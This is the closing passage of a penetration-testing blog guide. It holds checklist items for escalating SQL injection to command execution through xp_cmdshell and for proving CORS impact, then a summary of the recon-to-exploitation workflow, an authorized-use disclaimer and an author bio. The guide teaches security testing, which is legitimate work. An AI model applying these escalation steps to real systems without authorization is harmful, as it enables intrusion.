  • [ ] MSSQL - escalated to xp_cmdshell for command execution (whoami)
  • [ ] CORS - PoC cross-origin read to demonstrate impact
  • [ ] Output/screenshots captured and exact requests documented for the report

Conclusion

So that's the full flow - passive OSINT into active discovery, mapping the attack surface, fingerprinting the stack and TLS, running structured vulnerability identification, and following through with exploitation to prove impact. Work it in order and you'll rarely miss an asset or a finding. The subdomain you brute forced on a bad day, the origin IP behind Cloudflare, the file upload that took an alternate extension, the SQLi that reached xp_cmdshell - that's where real reports are built.

Build the manual muscle first, then let automation frameworks scale it. And keep the mindset front and center: enumerate more, always. From here the next step is post-exploitation - pivoting, privilege escalation, and persistence - which I'll cover separately.

Note: Every technique here is for authorized security testing only. Always have explicit written permission before testing any system, stay within your defined scope, and demonstrate impact conservatively. Happy hacking.

Enjoyed this guide? Share your thoughts below and tell us how you leverage Web Application Penetration Testing in your projects!

Web Application Penetration Testing, Bug Bounty, Reconnaissance, Vulnerability Identification, Ethical Hacking, Security Testing

Bhanu Namikaze

Bhanu Namikaze is an Penetration Tester, Red Teamer, Ethical Hacker, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and CTFs. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment